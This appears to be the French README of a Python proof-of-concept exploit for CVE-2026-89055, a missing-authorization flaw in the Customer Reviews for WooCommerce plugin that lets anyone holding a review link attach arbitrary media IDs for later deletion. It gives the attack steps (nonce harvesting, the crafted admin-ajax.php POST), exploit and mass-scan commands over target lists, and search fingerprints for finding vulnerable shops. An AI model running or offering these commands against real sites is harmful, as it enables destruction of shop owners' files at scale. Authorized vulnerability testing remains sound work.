
PoC Python de vérification/exploitation pour CVE-2026-89055, un contournement d'autorisation non authentifié dans Customer Reviews for WooCommerce qui permet aux attaquants de lier des pièces jointes arbitraires de la bibliothèque de médias en vue de leur suppression.
PoC Python 3 pour CVE-2026-89055 dans Customer Reviews for WooCommerce (customer-reviews-woocommerce / Ivole CusRev).
CVE-2026-89055 — Customer Reviews for WooCommerce (CusRev) ≤ 5.120.0 est vulnérable à une autorisation manquante sur le gestionnaire AJAX public du formulaire d'avis local (cr_local_forms_submit). Toute personne disposant d'un lien d'avis client (/cusrev/{formId hex 13}/ issu de l'e-mail de post-commande) peut obtenir un crSubmitNonce valide et soumettre des avis dont le tableau items[].media peut contenir des ID de pièces jointes arbitraires de la médiathèque (images produit, logos, PDF, etc.). Ces ID sont stockés dans les métadonnées du commentaire d'avis ; lorsque l'avis est supprimé définitivement (purge de la corbeille / nettoyage des spams), delete_review_media_attachments() appelle wp_delete_attachment() sur chaque ID lié sans vérification de propriété. CVSS 3.1 9.1 Critique (C:N/I:H/A:H). Corrigé dans > 5.120.0.
Catalogue communautaire : https://pocbit.org/pocs/
{site}/cusrev/{formId}/ → lire crSubmitNonce + les valeurs data-itemid du produit.POST vers admin-ajax.php : action=cr_local_forms_submit avec items[n][media][]=<victim_attachment_id>.ivole_reviews_locl_img / vidéo).delete_review_media_attachments supprime chaque fichier de pièce jointe lié.Ce PoC exécute les étapes 1–2 sur des cibles autorisées. L'étape 4 est un événement du cycle de vie du site/de l'administrateur (documenté dans la sortie sous chain_note).
pip install -r requirements.txt
Python 3.8+.
# Plugin version + optional live form (nonce + item IDs)
python poc.py -u https://shop.example --mode check --form-url /cusrev/abc123def4567/
# Inject foreign attachment ID into first product line item
python poc.py -u https://shop.example --mode exploit \
--form-id abc123def4567 --attachment-id 123 \
--verify-url https://shop.example/wp-content/uploads/2026/01/product.jpg
# Mass: base URL per line, optional form path after |
python poc.py --list targets.example.txt --mode check -j 20 --quiet
| Fichier | Signification |
|---|---|
cve_2026_89055_results.jsonl | JSON par cible |
hits.txt | Candidats ou marqueurs d'exploitation |
candidates.jsonl | Hôtes avec plugin vulnérable nécessitant des liens de formulaire |
body="/wp-content/plugins/customer-reviews-woocommerce/"
body="/cusrev/"
Tests autorisés uniquement.
| Plateforme | WordPress + WooCommerce |
| Plugin | Customer Reviews for WooCommerce |
| Affecté | ≤ 5.120.0 |
| CWE | CWE-862 (Autorisation manquante) |
| Prérequis | Lien public /cusrev/{formId}/ (nonce sur la page) |
| Impact | Suppression arbitraire de médias après purge de l'avis (intégrité + disponibilité) |